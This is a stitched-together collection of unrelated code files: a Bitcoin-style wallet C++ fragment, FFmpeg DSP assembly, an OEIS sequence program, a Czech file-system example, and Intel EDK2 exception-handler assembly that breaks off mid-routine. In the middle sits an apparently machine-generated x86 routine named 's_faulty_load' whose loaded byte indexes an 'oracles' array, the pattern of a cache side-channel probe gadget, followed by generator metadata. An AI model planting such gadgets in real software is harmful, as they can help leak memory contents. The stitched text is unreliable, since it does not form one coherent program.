walletdb(strWalletFile); LOCK2(cs_main, cs_wallet); BOOST_FOREACH(const int64_t& id, setKeyPool) { CKeyPool keypool; if (!walletdb.ReadPool(id, keypool)) throw runtime_error("GetAllReserveKeyHashes() : read failed"); assert(keypool.vchPubKey.IsValid()); CKeyID keyID = keypool.vchPubKey.GetID(); if (!HaveKey(keyID)) throw runtime_error("GetAllReserveKeyHashes() : unknown key in key pool"); setAddress.insert(keyID); } } void CWallet::UpdatedTransaction(const uint256 &hashTx) { { LOCK(cs_wallet); // Only notify UI if this transaction is in this wallet map<uint256, CWalletTx>::const_iterator mi = mapWallet.find(hashTx); if (mi != mapWallet.end()) NotifyTransactionChanged(this, hashTx, CT_UPDATED); } } void CWallet::GetKeyBirthTimes(std::map<CKeyID, int64_t> &mapKeyBirth) const { AssertLockHeld(cs_wallet); // mapKeyMetadata mapKeyBirth.clear(); // get birth times for keys with metadata for (std::map<CKeyID, CKeyMetadata>::const_iterator it = mapKeyMetadata.begin(); it != mapKeyMetadata.end(); it++) if (it->second.nCreateTime) mapKeyBirth[it->first] = it->second.nCreateTime; // map in which we'll infer heights of other keys CBlockIndex *pindexMax = FindBlockByHeight(std::max(0, nBestHeight - 144)); // the tip can be reorganised; use a 144-block safety margin std::map<CKeyID, CBlockIndex*> mapKeyFirstBlock; std::set<CKeyID> setKeys; GetKeys(setKeys); BOOST_FOREACH(const CKeyID &keyid, setKeys) { if (mapKeyBirth.count(keyid) == 0) mapKeyFirstBlock[keyid] = pindexMax; } setKeys.clear(); // if there are no such keys, we're done if (mapKeyFirstBlock.empty()) return; // find first block that affects those keys, if there are any left std::vector<CKeyID> vAffected; for (std::map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); it++) { // iterate over all wallet transactions... const CWalletTx &wtx = (*it).second; std::map<uint256, CBlockIndex*>::const_iterator blit = mapBlockIndex.find(wtx.hashBlock); if (blit != mapBlockIndex.end() && blit->second->IsInMainChain()) { // ... which are already in a block int nHeight = blit->second->nHeight; BOOST_FOREACH(const CTxOut &txout, wtx.vout) { // iterate over all their outputs ::ExtractAffectedKeys(*this, txout.scriptPubKey, vAffected); BOOST_FOREACH(const CKeyID &keyid, vAffected) { // ... and all their affected keys std::map<CKeyID, CBlockIndex*>::iterator rit = mapKeyFirstBlock.find(keyid); if (rit != mapKeyFirstBlock.end() && nHeight < rit->second->nHeight) rit->second = blit->second; } vAffected.clear(); } } } // Extract block timestamps for those keys for (std::map<CKeyID, CBlockIndex*>::const_iterator it = mapKeyFirstBlock.begin(); it != mapKeyFirstBlock.end(); it++) mapKeyBirth[it->first] = it->second->nTime - 7200; // block times can be 2h off }
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r15 push %r8 push %rax push %rcx push %rdi push %rsi lea addresses_WC_ht+0x173cb, %r12 clflush (%r12) nop nop nop nop xor %rsi, %rsi movl $0x61626364, (%r12) nop nop nop dec %rcx lea addresses_normal_ht+0x19589, %rsi lea addresses_WT_ht+0x13c4b, %rdi nop nop nop nop and %rax, %rax mov $23, %rcx rep movsw nop and $15863, %r12 lea addresses_WC_ht+0x2d3d, %rsi lea addresses_UC_ht+0x9f3b, %rdi nop nop nop nop and $61099, %r15 mov $6, %rcx rep movsl nop nop nop dec %r12 lea addresses_A_ht+0xf04b, %rsi lea addresses_UC_ht+0x1114b, %rdi nop nop nop nop nop xor $29734, %r15 mov $57, %rcx rep movsb nop and %rdi, %rdi lea addresses_WC_ht+0x1d24b, %rcx nop cmp $56342, %r14 movb (%rcx), %r12b nop nop nop nop nop lfence lea addresses_D_ht+0x1744b, %r15 nop add $56277, %r14 movb $0x61, (%r15) nop nop nop nop nop add $4348, %rax lea addresses_WT_ht+0x14a4b, %rsi lea addresses_WT_ht+0xfb56, %rdi nop nop nop nop nop inc %r8 mov $50, %rcx rep movsw nop dec %rdi lea addresses_WT_ht+0xc4b, %r12 cmp $34725, %rax movups (%r12), %xmm3 vpextrq $1, %xmm3, %rdi inc %rdi pop %rsi pop %rdi pop %rcx pop %rax pop %r8 pop %r15 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %r15 push %r8 push %rbx push %rcx // Store lea addresses_D+0x14b8f, %rcx clflush (%rcx) sub %rbx, %rbx movw $0x5152, (%rcx) and %r14, %r14 // Store lea addresses_UC+0x2a1b, %r8 sub $55497, %r15 movw $0x5152, (%r8) nop nop nop nop nop dec %r14 // Store lea addresses_US+0x10c4b, %r14 nop nop nop nop add %r15, %r15 movl $0x51525354, (%r14) nop nop nop nop inc %rcx // Store lea addresses_UC+0x17f7, %rbx nop nop nop nop sub %r14, %r14 movw $0x5152, (%rbx) nop nop nop cmp %r15, %r15 // Store lea addresses_normal+0x5d67, %r13 nop nop xor %r10, %r10 mov $0x5152535455565758, %r8 movq %r8, %xmm3 movups %xmm3, (%r13) and $13287, %r13 // Store lea addresses_PSE+0x51cd, %r13 add $61765, %r14 movl $0x51525354, (%r13) nop nop nop nop xor %r14, %r14 // Faulty Load lea addresses_US+0x10c4b, %r14 nop nop nop nop cmp $6276, %r10 mov (%r14), %cx lea oracles, %rbx and $0xff, %rcx shlq $12, %rcx mov (%rbx,%rcx,1), %rcx pop %rcx pop %rbx pop %r8 pop %r15 pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 1, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': False, 'NT': False}} {'54': 21829} 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 */
;***************************************************************************** ;* MMX optimized DSP utils ;***************************************************************************** ;* Copyright (c) 2000, 2001 Fabrice Bellard ;* Copyright (c) 2002-2004 Michael Niedermayer <michaelni@gmx.at> ;* ;* This file is part of FFmpeg. ;* ;* FFmpeg is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* FFmpeg is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with FFmpeg; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;***************************************************************************** %include "libavutil/x86/x86inc.asm" %include "libavutil/x86/x86util.asm" SECTION .text %macro DIFF_PIXELS_1 4 movh %1, %3 movh %2, %4 punpcklbw %2, %1 punpcklbw %1, %1 psubw %1, %2 %endmacro ; %1=uint8_t *pix1, %2=uint8_t *pix2, %3=static offset, %4=stride, %5=stride*3 ; %6=temporary storage location ; this macro requires $mmsize stack space (aligned) on %6 (except on SSE+x86-64) %macro DIFF_PIXELS_8 6 DIFF_PIXELS_1 m0, m7, [%1 +%3], [%2 +%3] DIFF_PIXELS_1 m1, m7, [%1+%4 +%3], [%2+%4 +%3] DIFF_PIXELS_1 m2, m7, [%1+%4*2+%3], [%2+%4*2+%3] add %1, %5 add %2, %5 DIFF_PIXELS_1 m3, m7, [%1 +%3], [%2 +%3] DIFF_PIXELS_1 m4, m7, [%1+%4 +%3], [%2+%4 +%3] DIFF_PIXELS_1 m5, m7, [%1+%4*2+%3], [%2+%4*2+%3] DIFF_PIXELS_1 m6, m7, [%1+%5 +%3], [%2+%5 +%3] %ifdef m8 DIFF_PIXELS_1 m7, m8, [%1+%4*4+%3], [%2+%4*4+%3] %else mova [%6], m0 DIFF_PIXELS_1 m7, m0, [%1+%4*4+%3], [%2+%4*4+%3] mova m0, [%6] %endif sub %1, %5 sub %2, %5 %endmacro %macro HADAMARD8 0 SUMSUB_BADC w, 0, 1, 2, 3 SUMSUB_BADC w, 4, 5, 6, 7 SUMSUB_BADC w, 0, 2, 1, 3 SUMSUB_BADC w, 4, 6, 5, 7 SUMSUB_BADC w, 0, 4, 1, 5 SUMSUB_BADC w, 2, 6, 3, 7 %endmacro %macro ABS1_SUM 3 ABS1 %1, %2 paddusw %3, %1 %endmacro %macro ABS2_SUM 6 ABS2 %1, %2, %3, %4 paddusw %5, %1 paddusw %6, %2 %endmacro %macro ABS_SUM_8x8_64 1 ABS2 m0, m1, m8, m9 ABS2_SUM m2, m3, m8, m9, m0, m1 ABS2_SUM m4, m5, m8, m9, m0, m1 ABS2_SUM m6, m7, m8, m9, m0, m1 paddusw m0, m1 %endmacro %macro ABS_SUM_8x8_32 1 mova [%1], m7 ABS1 m0, m7 ABS1 m1, m7 ABS1_SUM m2, m7, m0 ABS1_SUM m3, m7, m1 ABS1_SUM m4, m7, m0 ABS1_SUM m5, m7, m1 ABS1_SUM m6, m7, m0 mova m2, [%1] ABS1_SUM m2, m7, m1 paddusw m0, m1 %endmacro ; FIXME: HSUM_* saturates at 64k, while an 8x8 hadamard or dct block can get up to ; about 100k on extreme inputs. But that's very unlikely to occur in natural video, ; and it's even more unlikely to not have any alternative mvs/modes with lower cost. %macro HSUM_MMX 3 mova %2, %1 psrlq %1, 32 paddusw %1, %2 mova %2, %1 psrlq %1, 16 paddusw %1, %2 movd %3, %1 %endmacro %macro HSUM_MMX2 3 pshufw %2, %1, 0xE paddusw %1, %2 pshufw %2, %1, 0x1 paddusw %1, %2 movd %3, %1 %endmacro %macro HSUM_SSE2 3 movhlps %2, %1 paddusw %1, %2 pshuflw %2, %1, 0xE paddusw %1, %2 pshuflw %2, %1, 0x1 paddusw %1, %2 movd %3, %1 %endmacro %macro STORE4 5 mova [%1+mmsize*0], %2 mova [%1+mmsize*1], %3 mova [%1+mmsize*2], %4 mova [%1+mmsize*3], %5 %endmacro %macro LOAD4 5 mova %2, [%1+mmsize*0] mova %3, [%1+mmsize*1] mova %4, [%1+mmsize*2] mova %5, [%1+mmsize*3] %endmacro %macro hadamard8_16_wrapper 3 cglobal hadamard8_diff_%1, 4, 4, %2 %ifndef m8 %assign pad %3*mmsize-(4+stack_offset&(mmsize-1)) SUB rsp, pad %endif call hadamard8x8_diff_%1 %ifndef m8 ADD rsp, pad %endif RET cglobal hadamard8_diff16_%1, 5, 6, %2 %ifndef m8 %assign pad %3*mmsize-(4+stack_offset&(mmsize-1)) SUB rsp, pad %endif call hadamard8x8_diff_%1 mov r5d, eax add r1, 8 add r2, 8 call hadamard8x8_diff_%1 add r5d, eax cmp r4d, 16 jne .done lea r1, [r1+r3*8-8] lea r2, [r2+r3*8-8] call hadamard8x8_diff_%1 add r5d, eax add r1, 8 add r2, 8 call hadamard8x8_diff_%1 add r5d, eax .done mov eax, r5d %ifndef m8 ADD rsp, pad %endif RET %endmacro %macro HADAMARD8_DIFF_MMX 1 ALIGN 16 ; int hadamard8_diff_##cpu(void *s, uint8_t *src1, uint8_t *src2, ; int stride, int h) ; r0 = void *s = unused, int h = unused (always 8) ; note how r1, r2 and r3 are not clobbered in this function, so 16x16 ; can simply call this 2x2x (and that's why we access rsp+gprsize ; everywhere, which is rsp of calling func hadamard8x8_diff_%1: lea r0, [r3*3] ; first 4x8 pixels DIFF_PIXELS_8 r1, r2, 0, r3, r0, rsp+gprsize+0x60 HADAMARD8 mova [rsp+gprsize+0x60], m7 TRANSPOSE4x4W 0, 1, 2, 3, 7 STORE4 rsp+gprsize, m0, m1, m2, m3 mova m7, [rsp+gprsize+0x60] TRANSPOSE4x4W 4, 5, 6, 7, 0 STORE4 rsp+gprsize+0x40, m4, m5, m6, m7 ; second 4x8 pixels DIFF_PIXELS_8 r1, r2, 4, r3, r0, rsp+gprsize+0x60 HADAMARD8 mova [rsp+gprsize+0x60], m7 TRANSPOSE4x4W 0, 1, 2, 3, 7 STORE4 rsp+gprsize+0x20, m0, m1, m2, m3 mova m7, [rsp+gprsize+0x60] TRANSPOSE4x4W 4, 5, 6, 7, 0 LOAD4 rsp+gprsize+0x40, m0, m1, m2, m3 HADAMARD8 ABS_SUM_8x8_32 rsp+gprsize+0x60 mova [rsp+gprsize+0x60], m0 LOAD4 rsp+gprsize , m0, m1, m2, m3 LOAD4 rsp+gprsize+0x20, m4, m5, m6, m7 HADAMARD8 ABS_SUM_8x8_32 rsp+gprsize paddusw m0, [rsp+gprsize+0x60] HSUM m0, m1, eax and rax, 0xFFFF ret hadamard8_16_wrapper %1, 0, 14 %endmacro %macro HADAMARD8_DIFF_SSE2 2 hadamard8x8_diff_%1: lea r0, [r3*3] DIFF_PIXELS_8 r1, r2, 0, r3, r0, rsp+gprsize HADAMARD8 %if ARCH_X86_64 TRANSPOSE8x8W 0, 1, 2, 3, 4, 5, 6, 7, 8 %else TRANSPOSE8x8W 0, 1, 2, 3, 4, 5, 6, 7, [rsp+gprsize], [rsp+mmsize+gprsize] %endif HADAMARD8 ABS_SUM_8x8 rsp+gprsize HSUM_SSE2 m0, m1, eax and eax, 0xFFFF ret hadamard8_16_wrapper %1, %2, 3 %endmacro INIT_MMX %define ABS1 ABS1_MMX %define HSUM HSUM_MMX HADAMARD8_DIFF_MMX mmx %define ABS1 ABS1_MMX2 %define HSUM HSUM_MMX2 HADAMARD8_DIFF_MMX mmx2 INIT_XMM %define ABS2 ABS2_MMX2 %if ARCH_X86_64 %define ABS_SUM_8x8 ABS_SUM_8x8_64 %else %define ABS_SUM_8x8 ABS_SUM_8x8_32 %endif HADAMARD8_DIFF_SSE2 sse2, 10 %define ABS2 ABS2_SSSE3 %define ABS_SUM_8x8 ABS_SUM_8x8_64 HADAMARD8_DIFF_SSE2 ssse3, 9 INIT_XMM ; sse16_sse2(void *v, uint8_t * pix1, uint8_t * pix2, int line_size, int h) cglobal sse16_sse2, 5, 5, 8 shr r4d, 1 pxor m0, m0 ; mm0 = 0 pxor m7, m7 ; mm7 holds the sum .next2lines ; FIXME why are these unaligned movs? pix1[] is aligned movu m1, [r1 ] ; mm1 = pix1[0][0-15] movu m2, [r2 ] ; mm2 = pix2[0][0-15] movu m3, [r1+r3] ; mm3 = pix1[1][0-15] movu m4, [r2+r3] ; mm4 = pix2[1][0-15] ; todo: mm1-mm2, mm3-mm4 ; algo: subtract mm1 from mm2 with saturation and vice versa ; OR the result to get the absolute difference mova m5, m1 mova m6, m3 psubusb m1, m2 psubusb m3, m4 psubusb m2, m5 psubusb m4, m6 por m2, m1 por m4, m3 ; now convert to 16-bit vectors so we can square them mova m1, m2 mova m3, m4 punpckhbw m2, m0 punpckhbw m4, m0 punpcklbw m1, m0 ; mm1 not spread over (mm1,mm2) punpcklbw m3, m0 ; mm4 not spread over (mm3,mm4) pmaddwd m2, m2 pmaddwd m4, m4 pmaddwd m1, m1 pmaddwd m3, m3 lea r1, [r1+r3*2] ; pix1 += 2*line_size lea r2, [r2+r3*2] ; pix2 += 2*line_size paddd m1, m2 paddd m3, m4 paddd m7, m1 paddd m7, m3 dec r4 jnz .next2lines mova m1, m7 psrldq m7, 8 ; shift hi qword to lo paddd m7, m1 mova m1, m7 psrldq m7, 4 ; shift hi dword to lo paddd m7, m1 movd eax, m7 ; return value RET
; A159699: Replace 2^k in binary expansion of n with A045623(k+1). ; 0,2,5,7,12,14,17,19,28,30,33,35,40,42,45,47,64,66,69,71,76,78,81,83,92,94,97,99,104,106,109,111,144,146,149,151,156,158,161,163,172,174,177,179,184,186,189,191,208,210,213,215,220,222,225,227,236,238,241,243 mov $4,$0 mov $6,$0 lpb $4,1 mov $0,$6 sub $4,1 sub $0,$4 mov $2,32 gcd $2,$0 mov $3,5 mov $5,8 lpb $0,1 add $3,$5 mov $5,$2 add $2,$0 trn $0,$2 add $3,$5 sub $3,7 lpe mov $5,$3 sub $5,5 add $1,$5 lpe
//----------------------------------------------------------------------------- // // RFS // Low Level Example 3 // Dvorka // 1998 // //----------------------------------------------------------------------------- /* ---------------------------------------------------------------------------- VYPIS HLASEK ANEB VIDET JAK FS PRACUJE V kazdem *.CPP souboru je hned nazacatku #define DEBUG. Pokud tento define odkomentujete zacnou se vypisovat hlasky co se dela. Debug hlasek jsou vsude mraky. V podstate jsem program ladil pouze pomoci nich. Myslim ze podavaji docela slusnou informaci o tom co se deje. Nejlepsi je ODKOMENTOVAT DEBUG V MODULU, JEHOZ PRACE VAS ZAJIMA A VYSTUP PROGRAMU SI PRESMEROVAT DO SOUBORU A V KLIDU SI TO PROHLEDNOUT ( *.exe > log v DOSu ). ---------------------------------------------------------------------------- !!! Smazte main.obj ( jinak zustane stary ) !!! EXAMPLE 3: TRANSAKCE, LOGY A RECOVERY SPODNI VRSTVY Spusteni tohoto prikladu predpoklada, ze pred nim byl spusten example1, ktery vytvoril zarizeni na kterych se zde bude pracovat. V dokumentaci jste se docetl, jake druhy logu pouziva system a na co jsou urceny. Tento example je urcen pro predveni oprav. V dokumentaci si muzete precist jak se provadi recovery systemu pomoci logu zde uvidite jak se to deje. Pokud chcete videt podrobnosti odkomentujte si DEBUG v RECOVERY.CPP Hodne veci s logy se take dela v commitu a pri alokacich - CACHEMAN.CPP takze zde odkomentujte DEBUG take. Zpusob jak se podivat, jak se system opravuje: odkomentujte DEBUGy, spustte example normalne ( bez presmerovani ) a kdyz system bezi tak dejte CTRL-Pause. Potom example spustte znovu s presmerovanym vystupem do souboru a muzete si prohlednout co a jak se opravovalo, jak se identifikovalo to, ze se system slozil ( dirty flagy partysen -> "RECOVERY forced" ). Podrobnosti opet najdete v dokumentaci. Logy se ukladaji bohuzel zatim pouze vne tedy ne do file systemu. Chcete-li videt jejich obsah, zakomentuje define UNLINK_LOGS. Zatim NEskakejte do SETUPu STRIPINGU instrukce prijdou v dalsich examplech... */ #include "cacheman.h" #include "cachesup.h" #include "group.h" #include "fdisk.h" #include "format.h" #include "fstypes.h" #include "hardware.h" #include "init.h" #include "recovery.h" // change size of stack extern unsigned _stklen = 50000u; extern CacheManStruct far *CacheMan; //------------------------------------------------------------------------------------ int main( void ) { printf("\n\n Reliable file system" "\n by" "\n Dvorka" "\n" "\n Compiled at %s, %s\n", __DATE__, __TIME__ ); randomize(); InitializeSimulation(); FSOpenFileSystem( SWAP_ON, CACHE_ON, 100000lu ); word PackageID=0, GetNumber=0, i; dword Logical, Free; void far *Buffer=farmalloc(10*512); if( !Buffer ) exit(0); // allocates && creates package ( 0x81 or 1 - it has same effect ) CacheManAllocateSector( 0x81, 1, 0, 1, Logical, GetNumber, PackageID, FPACK_CREAT ); word j; word Number; // PackageID set in previous function for( i=1; i<=30; i++ ) { // allocate allocates < logical, logical+6 > CacheManAllocateSector( 1, 1, 0lu, 7, Logical, GetNumber, PackageID, FPACK_ADD ); printf("\n Get number: %u", GetNumber ); // init buffer for save for( j=0; j<10*512; j++ ) ((byte far * )Buffer)[j]=0xCC; if( random(5) ) // probably add CacheManSaveSector( 1, 1, Logical, 7, PackageID, FPACK_ADD, Buffer ); else CacheManSaveSector( 1, 1, Logical, 7, PackageID, FPACK_CREAT, Buffer ); // load what's written from cache ( something ) // Number=(word)random(7) + 1u; Number=7; CacheManLoadSector( 1, 1, Logical, Number, PackageID, FPACK_ADD, Buffer ); if( !random(10) ) // probably not commit { if( random(2) ) CacheManCommitPackage( PackageID, FPACK_NOTHING ); // commit else { CacheManCommitPackage( PackageID, FPACK_DELETE ); // commit && del pack // create new PackID because in alloc and save used! CacheManAllocateSector( 1, 1, 0lu, 7, Logical, GetNumber, PackageID, FPACK_CREAT ); printf("\n Get number: %u", GetNumber ); } } // print free space on device GetPartyFreeSpace( 0x81, 1, Free ); GetPartyFreeSpace( 0x81, 2, Free ); printf("\n\n ----->"); } farfree(Buffer); // contains complete commit FSShutdownFileSystem(); printf("\n Bye! \n\n"); return 0; }
;------------------------------------------------------------------------------ ; ; Copyright (c) 2017, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; ExceptionTssEntryAsm.Asm ; ; Abstract: ; ; IA32 CPU Exception Handler with Separate Stack ; ; Notes: ; ;------------------------------------------------------------------------------ ; ; IA32 TSS Memory Layout Description ; struc IA32_TSS resw 1 resw 1 .ESP0: resd 1 .SS0: resw 1 resw 1 .ESP1: resd 1 .SS1: resw 1 resw 1 .ESP2: resd 1 .SS2: resw 1 resw 1 ._CR3: resd 1 .EIP: resd 1 .EFLAGS: resd 1 ._EAX: resd 1 ._ECX: resd 1 ._EDX: resd 1 ._EBX: resd 1 ._ESP: resd 1 ._EBP: resd 1 ._ESI: resd 1 ._EDI: resd 1 ._ES: resw 1 resw 1 ._CS: resw 1 resw 1 ._SS: resw 1 resw 1 ._DS: resw 1 resw 1 ._FS: resw 1 resw 1 ._GS: resw 1 resw 1 .LDT: resw 1 resw 1 resw 1 resw 1 endstruc ; ; CommonExceptionHandler() ; extern ASM_PFX(CommonExceptionHandler) SECTION .data SECTION .text ALIGN 8 ; ; Exception handler stub table ; AsmExceptionEntryBegin: %assign Vector 0 %rep 32 DoIret%[Vector]: iretd ASM_PFX(ExceptionTaskSwtichEntry%[Vector]): db 0x6a ; push #VectorNum db %[Vector] mov eax, ASM_PFX(CommonTaskSwtichEntryPoint) call eax mov esp, eax ; Restore stack top jmp DoIret%[Vector] %assign Vector Vector+1 %endrep AsmExceptionEntryEnd: ; ; Common part of exception handler ; global ASM_PFX(CommonTaskSwtichEntryPoint) ASM_PFX(CommonTaskSwtichEntryPoint): ; ; Stack: ; +---------------------+ <-- EBP - 8 ; + TSS Base + ; +---------------------+ <-- EBP - 4 ; + CPUID.EDX + ; +---------------------+ <-- EBP ; + EIP + ; +---------------------+ <-- EBP + 4 ; + Vector Number + ; +---------------------+ <-- EBP + 8 ; + Error Code + ; +---------------------+ ; mov ebp, esp ; Stack frame ; Use CPUID to determine if FXSAVE/FXRESTOR and DE are supported mov eax, 1 cpuid push edx ; Get TSS base of interrupted task through PreviousTaskLink field in ; current TSS base sub esp, 8 sgdt [esp + 2] mov eax, [esp + 4] ; GDT base add esp, 8 xor ebx, ebx str bx ; Current TR mov ecx, [eax + ebx + 2] shl ecx, 8 mov cl, [eax + ebx + 7] ror ecx, 8 ; ecx = Current TSS base push ecx ; keep it in stack for later use movzx ebx, word [ecx] ; Previous Task Link mov ecx, [eax + ebx + 2] shl ecx, 8 mov cl, [eax + ebx + 7] ror ecx, 8 ; ecx = Previous TSS base ; ; Align stack to make sure that EFI_FX_SAVE_STATE_IA32 of EFI_SYSTEM_CONTEXT_IA32 ; is 16-byte aligned ; and esp, 0xfffffff0 sub esp, 12 ;; UINT32 Edi, Esi, Ebp, Esp, Ebx, Edx, Ecx, Eax; push dword [ecx + IA32_TSS._EAX] push dword [ecx + IA32_TSS._ECX] push dword [ecx + IA32_TSS._EDX] push dword [ecx + IA32_TSS._EBX] push dword [ecx + IA32_TSS._ESP] push dword [ecx + IA32_TSS._EBP] push dword [ecx + IA32_TSS._ESI] push dword [ecx + IA32_TSS._EDI] ;; UINT32 Gs, Fs, Es, Ds, Cs, Ss; movzx eax, word [ecx + IA32_TSS._SS] push eax movzx eax, word [ecx + IA32_TSS._CS] push eax movzx eax, word [ecx + IA32_TSS._DS] push eax movzx eax, word [ecx + IA32_TSS._ES] push eax movzx eax, word [ecx + IA32_TSS._FS] push eax movzx eax, word [ecx + IA32_TSS._GS] push eax ;; UINT32 Eip; push dword [ecx + IA32_TSS.EIP] ;; UINT32 Gdtr[2], Idtr[2]; sub esp, 8 sidt [esp] 